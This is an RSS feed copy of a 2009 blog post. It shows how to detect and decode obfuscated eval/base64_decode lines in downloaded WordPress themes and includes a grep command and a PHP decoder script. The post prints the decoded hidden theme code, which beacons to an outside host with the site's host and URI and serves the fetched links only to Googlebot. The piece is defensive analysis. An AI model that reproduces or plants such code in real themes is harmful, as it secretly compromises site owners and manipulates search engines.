<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pario TechnoBlob &#187; Wordpress theme</title>
	<atom:link href="http://pario.no/tag/wordpress-theme/feed/" rel="self" type="application/rss+xml" />
	<link>http://pario.no</link>
	<description>A cronological documentation test project, nothing serious, really!</description>
	<lastBuildDate>Mon, 30 Aug 2010 15:49:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>WordPress themes with eval and base64_decode lines</title>
		<link>http://pario.no/2009/05/22/wordpress-themes-with-eval-and-decode-lines/</link>
		<comments>http://pario.no/2009/05/22/wordpress-themes-with-eval-and-decode-lines/#comments</comments>
		<pubDate>Thu, 21 May 2009 22:42:29 +0000</pubDate>
		<dc:creator>Hans-Henry Jakobsen</dc:creator>
				<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[base64_decode]]></category>
		<category><![CDATA[eval]]></category>
		<category><![CDATA[gzinflate]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[str_rot13]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Wordpress theme]]></category>

		<guid isPermaLink="false">http://pario.no/?p=1061</guid>
		<description><![CDATA[Lately I&#8217;ve been downloading and reading myself up on WordPress themes and stumbled upon something curious. Many themes had encrypted code/lines starting with the following code Example 1 eval(base64_decode('abcdefgh....') and other variations like Example 2 eval(gzinflate(str_rot13(base64_decode('abcdefgh...') This made me curious about why would someone make such an effort to obfuscate their code. Personally I would [...]]]></description>
			<content:encoded><![CDATA[<p>Lately I&#8217;ve been downloading and reading myself up on WordPress themes and stumbled upon something curious. Many themes had encrypted code/lines starting with the following code<br />
<strong>Example 1</strong></p>
<pre>eval(base64_decode('abcdefgh....')</pre>
<p>and other variations like<br />
<strong>Example 2</strong></p>
<pre>eval(gzinflate(str_rot13(base64_decode('abcdefgh...')</pre>
<p>This made me curious about why would someone make such an effort to obfuscate their code. Personally I would like to know what code my themes are running so it was not an option not to decode these eval lines in my WordPress themes. This made me wonder if many of my themes that had these lines of code and a simple command from the console would reveal all my themes that had encoded code from the <strong>wp-content/themes</strong> katalog on your WordPress installation</p>
<pre>
grep eval |grep decode | grep php * -R</pre>
<p>I had several themes containing code of hiding code and some of the themes had hacks that made traffic redirects to other sites. </p>
<p>Decoding Example 1 can be performed by using the following script and inserting the encrypted text in variable <strong>$a</strong>.</p>
<p><strong>The PHP decoder script</strong><br />
The encrypted text is taken from a unnamed random theme I have downloaded.</p>
<pre>
&lt;?php
$a = 'ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2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d2Jfb3B0WzFdIT0iIillY2hvICRhZHdiX29wdFsxXTt9fSBhZGRfYWN0aW9uKCJ3cF9mb290ZXIiLCAid3BfZ2V0X2Zvb3Rlcl9tZXRhIik7';
function a($a){ return base64_decode($a);}
while(!$b){
        if(substr($a,0,4) == 'eval' || !$count){
                $a = a(str_replace(Array('eval(base64_decode(\'','\')));'),'',$a);
                $count++;
        }else
                $b = true;
}
echo $a;
?&gt;</pre>
<p>To run it from a console window you can do the following, not as a privileged user in case it does something nasty.</p>
<pre>
php scriptname.php &gt; result.txt</pre>
<p>My text would output the following text to the <strong>result.txt</strong> file</p>
<pre>
function wp_get_footer_meta() {
global $wpdb;
if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);
else{$adwb_opt = array(0,'');
$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");
}
if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';
$adwb_get  = '/wpam/';$adwb_soc  = @fsockopen($adwb_host,80,$_en,$_es,30);
if ($adwb_soc) {
@stream_set_timeout($adwb_soc,30);
@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&#038;='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");
$adwb_data = '';
while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);
$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));
}
@fclose($adwb_soc);
preg_match('/<adbug>(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp);
if($adwb_tmp[1]!=""){$adwb_opt = array(time(), $adwb_tmp[1]);
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' HERE option_name='adwb_opt'");
}
}
if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT'])){if ($adwb_opt[1]!="")echo $adwb_opt[1];
}
}
add_action("wp_footer", "wp_get_footer_meta");</pre>
<p>You should then decide if the decoded code is something you would like to run on your WordPress site. Some themes are doing this to hide their WordPress theme tricks while other do it to do nasty stuff like redirecting traffic from your site to other sites, etc.</p>
<p>Source: <a href="http://www.phpbuilder.com/board/archive/index.php/t-10340358.html">The decoder script was found here</a></p>
<script type="text/javascript">var wordpress_toolbar_urls = ["http:\/\/www.phpbuilder.com\/board\/archive\/index.php\/t-10340358.html"];var wordpress_toolbar_url = "http://pario.no/wp-content/plugins/wordpress-toolbar/toolbar.php";var wordpress_toolbar_oinw = "n";var wordpress_toolbar_hash = "aHR0cDovL3BhcmlvLm5vLzIwMDkvMDUvMjIvd29yZHByZXNzLXRoZW1lcy13aXRoLWV2YWwtYW5kLWRlY29kZS1saW5lcy88d3B0Yj5Xb3JkUHJlc3MgdGhlbWVzIHdpdGggZXZhbCBhbmQgYmFzZTY0X2RlY29kZSBsaW5lczx3cHRiPmh0dHA6Ly9wYXJpby5ubzx3cHRiPlBhcmlvIFRlY2hub0Jsb2I%3D";</script>]]></content:encoded>
			<wfw:commentRss>http://pario.no/2009/05/22/wordpress-themes-with-eval-and-decode-lines/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>
